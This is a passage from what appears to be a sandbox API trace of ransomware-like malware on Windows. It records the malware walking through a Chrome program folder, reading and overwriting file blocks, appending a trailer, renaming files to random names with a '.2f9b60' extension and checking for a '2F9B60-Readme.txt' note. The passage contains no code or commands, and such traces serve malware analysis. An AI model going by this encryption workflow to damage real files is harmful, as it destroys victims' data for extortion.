ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5980 [0154.615] wcscmp (_String1=".", _String2=".") returned 0 [0154.615] FindNextFileW (in: hFindFile=0x1ced5980, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.615] wcscmp (_String1="..", _String2=".") returned 1 [0154.615] wcscmp (_String1="..", _String2="..") returned 0 [0154.615] FindNextFileW (in: hFindFile=0x1ced5980, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0154.615] wcscmp (_String1="external_extensions.json", _String2=".") returned 1 [0154.615] wcscmp (_String1="external_extensions.json", _String2="..") returned 1 [0154.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4205e0b0 [0154.615] wcscpy (in: _Dest=0x4205e0b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" [0154.615] wcscat (in: _Dest=0x4205e0b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\" [0154.616] wcscat (in: _Dest=0x4205e0b0, _Source="external_extensions.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json" [0158.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205e0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0158.498] FindNextFileW (in: hFindFile=0x1ced5980, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 0 [0158.498] FindClose (in: hFindFile=0x1ced5980 | out: hFindFile=0x1ced5980) returned 1 [0158.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce212c0) returned 1 [0158.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c5b0) returned 1 [0158.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 Thread: id = 2505 os_tid = 0x1f98 [0154.616] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat")) returned 0x20 [0154.617] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat", dwFileAttributes=0x20) returned 1 [0154.618] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x678 [0154.619] GetFileSizeEx (in: hFile=0x678, lpFileSize=0x2ccaf780 | out: lpFileSize=0x2ccaf780*=10130560) returned 1 [0154.619] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x9a947c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.619] ReadFile (in: hFile=0x678, lpBuffer=0x2ccaf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ccaf748, lpOverlapped=0x0 | out: lpBuffer=0x2ccaf700*, lpNumberOfBytesRead=0x2ccaf748*=0x4, lpOverlapped=0x0) returned 1 [0154.727] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e60 [0154.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e90 [0154.727] NtQuerySystemTime (in: CurrentTime=0x2ccaf640 | out: CurrentTime=0x2ccaf640*=132462177598606000) returned 0x0 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x749ad011 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x7cc5a6ea [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x70715f84 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x768a858f [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x2f9584c0 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x1c182b23 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x3086a424 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x3a8bb8ba [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x4a74f252 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x28e11bbb [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x161cbf74 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x446a4c33 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x15be432b [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x6eaa935b [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x225c19e9 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0xde090d1 [0154.727] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x39ea5b01 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x5bed640e [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x2140e0f9 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x43c6f5f5 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x736c7693 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x5fd0271 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x182815b4 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x625147c7 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0xac4add1 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x7cd9c3ca [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x4c5de2b7 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x346f8ae9 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x2b5194a1 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x40197ce1 [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x6628e5b [0154.728] RtlRandomEx (in: Seed=0x2ccaf630 | out: Seed=0x2ccaf630) returned 0x635d110 [0154.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ec0 [0154.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ef0 [0154.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e90) returned 1 [0154.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4284ae50 [0154.738] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.738] ReadFile (in: hFile=0x678, lpBuffer=0x4284ae50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ccaf6a0, lpOverlapped=0x0 | out: lpBuffer=0x4284ae50*, lpNumberOfBytesRead=0x2ccaf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0154.798] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4285daa0 [0154.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda0d0 [0154.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda0d0) returned 1 [0154.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.801] WriteFile (hFile=0x678, lpBuffer=0x4285daa0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ccaf6a0, lpOverlapped=0x0) [0194.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4285daa0) returned 1 [0194.374] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x4d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.374] ReadFile (in: hFile=0x678, lpBuffer=0x4284ae50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ccaf6a0, lpOverlapped=0x0 | out: lpBuffer=0x4284ae50*, lpNumberOfBytesRead=0x2ccaf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.701] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x4d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bb40 [0194.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bb40) returned 1 [0194.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20473b80 [0194.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bb40 [0194.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bb10 [0194.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bb10) returned 1 [0194.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.704] WriteFile (in: hFile=0x678, lpBuffer=0x20473b80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ccaf6a0, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesWritten=0x2ccaf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0211.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0211.165] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x9a5880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.165] ReadFile (in: hFile=0x678, lpBuffer=0x4284ae50, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ccaf6a0, lpOverlapped=0x0 | out: lpBuffer=0x4284ae50*, lpNumberOfBytesRead=0x2ccaf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0212.065] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x9a5880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0212.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb960 [0212.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0212.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f280) returned 1 [0212.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cd3cc0 [0212.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0212.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0212.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f60) returned 1 [0212.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0212.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0212.071] WriteFile (in: hFile=0x678, lpBuffer=0x41cd3cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ccaf6a0, lpOverlapped=0x0 | out: lpBuffer=0x41cd3cc0*, lpNumberOfBytesWritten=0x2ccaf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0216.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd3cc0) returned 1 [0216.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cdded40 [0216.838] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.838] WriteFile (in: hFile=0x678, lpBuffer=0x1cebd000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2ccaf750, lpOverlapped=0x0 | out: lpBuffer=0x1cebd000*, lpNumberOfBytesWritten=0x2ccaf750*=0x146, lpOverlapped=0x0) returned 1 [0220.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0220.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0220.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0220.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0220.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0220.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5c0 [0220.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5c0) returned 1 [0220.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0220.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0830 [0220.079] sprintf (in: _Dest=0x1cda0830, _Format="%c%c" | out: _Dest="f8") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0832, _Format="%c%c" | out: _Dest="f6") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0834, _Format="%c%c" | out: _Dest="11") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0836, _Format="%c%c" | out: _Dest="72") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0838, _Format="%c%c" | out: _Dest="34") returned 2 [0220.079] sprintf (in: _Dest=0x1cda083a, _Format="%c%c" | out: _Dest="93") returned 2 [0220.079] sprintf (in: _Dest=0x1cda083c, _Format="%c%c" | out: _Dest="9d") returned 2 [0220.079] sprintf (in: _Dest=0x1cda083e, _Format="%c%c" | out: _Dest="57") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0840, _Format="%c%c" | out: _Dest="01") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0842, _Format="%c%c" | out: _Dest="c9") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0844, _Format="%c%c" | out: _Dest="34") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0846, _Format="%c%c" | out: _Dest="c1") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0848, _Format="%c%c" | out: _Dest="90") returned 2 [0220.079] sprintf (in: _Dest=0x1cda084a, _Format="%c%c" | out: _Dest="03") returned 2 [0220.079] sprintf (in: _Dest=0x1cda084c, _Format="%c%c" | out: _Dest="37") returned 2 [0220.079] sprintf (in: _Dest=0x1cda084e, _Format="%c%c" | out: _Dest="d8") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0850, _Format="%c%c" | out: _Dest="26") returned 2 [0220.079] sprintf (in: _Dest=0x1cda0852, _Format="%c%c" | out: _Dest="61") returned 2 [0220.080] sprintf (in: _Dest=0x1cda0854, _Format="%c%c" | out: _Dest="84") returned 2 [0220.080] sprintf (in: _Dest=0x1cda0856, _Format="%c%c" | out: _Dest="88") returned 2 [0220.080] RtlInitAnsiString (in: DestinationString=0x2ccaf7c8, SourceString="f8f6117234939d5701c934c1900337d826618488" | out: DestinationString="f8f6117234939d5701c934c1900337d826618488") [0220.080] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ccaf798, SourceString="f8f6117234939d5701c934c1900337d826618488", AllocateDestinationString=1 | out: DestinationString="f8f6117234939d5701c934c1900337d826618488") returned 0x0 [0220.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431fa500 [0220.080] wcscat (in: _Dest=0x202acb00, _Source="f8f6117234" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f8f6117234") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f8f6117234" [0220.080] wcscat (in: _Dest=0x202acb00, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f8f6117234.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f8f6117234.2f9b60" [0220.081] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f8f6117234.2f9b60", NtPathName=0x2ccaf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f8f6117234.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0220.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x431002c0 [0226.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431002c0) returned 1 [0226.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074720) returned 1 [0226.906] NtQueryInformationFile (in: FileHandle=0x678, IoStatusBlock=0x2ccaf7d8, FileInformation=0x2ccaf7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ccaf7d8, FileInformation=0x2ccaf7e8) returned 0x0 [0226.906] NtSetInformationFile (FileHandle=0x678, IoStatusBlock=0x2ccaf7d8, FileInformation=0x2ccaf7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acb00) returned 1 [0235.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fa500) returned 1 [0235.290] FlushFileBuffers (hFile=0x678) returned 1 [0238.169] CloseHandle (hObject=0x678) returned 1 [0240.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64bb0 [0240.408] wcscpy (in: _Dest=0x1cd64bb0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0240.408] wcscat (in: _Dest=0x1cd64bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0240.408] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0240.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64bb0) returned 1 [0240.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ade80) returned 1 Thread: id = 2506 os_tid = 0x1f9c [0154.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205c510 [0154.629] wcscpy (in: _Dest=0x4205c510, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" [0154.629] wcscat (in: _Dest=0x4205c510, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\" [0154.629] wcscat (in: _Dest=0x4205c510, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*" [0154.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0154.629] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced59e0 [0154.629] wcscmp (_String1=".", _String2=".") returned 0 [0154.629] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.630] wcscmp (_String1="..", _String2=".") returned 1 [0154.630] wcscmp (_String1="..", _String2="..") returned 0 [0154.630] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0154.630] wcscmp (_String1="chrmstp.exe", _String2=".") returned 1 [0154.630] wcscmp (_String1="chrmstp.exe", _String2="..") returned 1 [0154.630] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8388e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c8388e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81d5b9a8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0xad7d02b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0154.630] wcscmp (_String1="chrome.7z", _String2=".") returned 1 [0154.630] wcscmp (_String1="chrome.7z", _String2="..") returned 1 [0154.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65b80 [0154.630] wcscpy (in: _Dest=0x1cd65b80, _Source="C:\\Program Files 